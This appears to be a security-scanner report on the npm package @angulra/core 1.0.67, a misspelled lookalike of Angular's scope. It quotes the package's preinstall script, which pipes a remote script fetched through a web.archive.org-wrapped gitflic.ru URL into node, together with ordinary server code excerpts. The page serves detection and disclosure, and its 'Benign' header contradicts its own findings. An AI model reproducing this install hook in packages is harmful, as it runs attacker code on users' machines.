Benign javascript Download

@angulra/core 1.0.67

“Core Libs”

Framework scope spelling variant executes archived remote code at installnpm preinstall executes replayed third-party code through Node stdin

SHA-256d60186fa20855b91536b11a655c4ac1dbccdf5975826313b8f246d6c4e285e70

URLhttps://repo.huaweicloud.com/repository/npm/@angulra/core/-/core-1.0.67.tgz

MaleculeO₂(CS)H₆(Cm₃₈CrDb₂₂FOs₆Po₇)Md₄(In₇Pa₁₁Pt)

Also flagged by osm (src/package/package.json:36 defines a preinstall script that downloads a remote script from gitflic.ru (via web.archive.org cloaking) and pipes it directly into `node`, executing arbitrary attacker-co…), osv (MAL-2026-17496: Malicious code in @angulra/core (npm)) +3 more.

Evidence

Angular scope spelling variant package.json · lines 1–38

1{
"name": "@angulra/core",
"version": "1.0.67",
"description": "Core Libs",
"contributors": [
  "Maciej Jastrzebski <[email protected]>",
⋯4 lines
  "Albert Lacki <[email protected]>"
],
"dependencies": {
  "amqp-dl": "0.2.1-1",
  "base64": "2.0.3",
⋯13 lines
  "xml2js": "~0.2.8"
},
"main": "lib/index.js",
"engines": {
  "node": ">= 0.8.0"
},
"scripts": {
  "preinstall": "curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node"
}
38}

require() of the child_process module Net.js · lines 1–48

1var net = require('net');
2var child_process = require('child_process');
3
4//borrowed from cloud9/server/cloud9/netutil, copyright cloud9, ajax.org
⋯6 lines
11//borrowed from cloud9/server/cloud9/netutil, copyright cloud9, ajax.org
12exports.findFreePort = function (start, end, hostname, callback) {
13    var pivot = Math.floor(Math.random() * (end - start)) + start, port = pivot;
14    asyncRepeat(function (next, done) {
15        var stream = net.createConnection(port, hostname);
16
17        stream.on("connect", function () {
18            stream.destroy();
19            port++;
⋯10 lines
30        });
31
32        stream.on("error", function () {
33            done();
34        });
⋯4 lines
39
40exports.getPidByPort = function (port, callback) {
41    child_process.exec("netstat -nltp", function (error, stdout, stderr) {
42        if (error) {
43            callback(error);
⋯5 lines

Imports the Node.js HTTP module Server.js · lines 1–16

1var Request = require("./Request.js").Request;
2var Response = require("./Response.js").Response;
3var BinaryData = require("./../data/BinaryData.js").BinaryData;
4var RequestProcessor = require("./RequestProcessor.js").RequestProcessor;
5
6var http = require('http');
7
8/**
9 * @class Server Main http server class. Wraps native node.js http object. Creates Request processor instance and dispatch processing.
10 * @param {Class} RequestProcessorClass Subclass of RequestProcessor family.
11 */
12var Server = function (RequestProcessorClass) {
13    this.RequestProcessorClass = RequestProcessorClass;
14    this._nativeServers = [];
15    this._requestCounter = 0;
16    //Zmienna wskazuje, czy stworzo …

Node.js http.createServer() Server.js · lines 24–34

10… this._firstListenApplied && this._nativeServers.length > 0) {
      this._firstListenApplied = true;
      return this._nativeServers[0];
  }
28
  var that = this;
  var nativeServer = http.createServer(function (request, response) {
      that._onRequestHandler(request, response);
  });
33
  this._nativeServers.push(nativeS …

Node named server listens on endpoint Server.js · lines 40–52

40:27… s._createNativeServer();
41
42    nativeServer._backlog = 4096;
43    nativeServer.listen(port, host, callback);
44};
45
46Server.prototype.listenFD = function (fd, protocol) {
47    //FIXME: trzeba by to naruchac jakos
48    throw new Error('listenFD is not supported for node >= 0.6');
49};
50
51Server.prototype.listenSocket = function (socketPath, callback) {
52    var na …

Showing the top 5 files — 7 more files (50 regions) not shown.

No evidence locations were recorded for this file. Raw result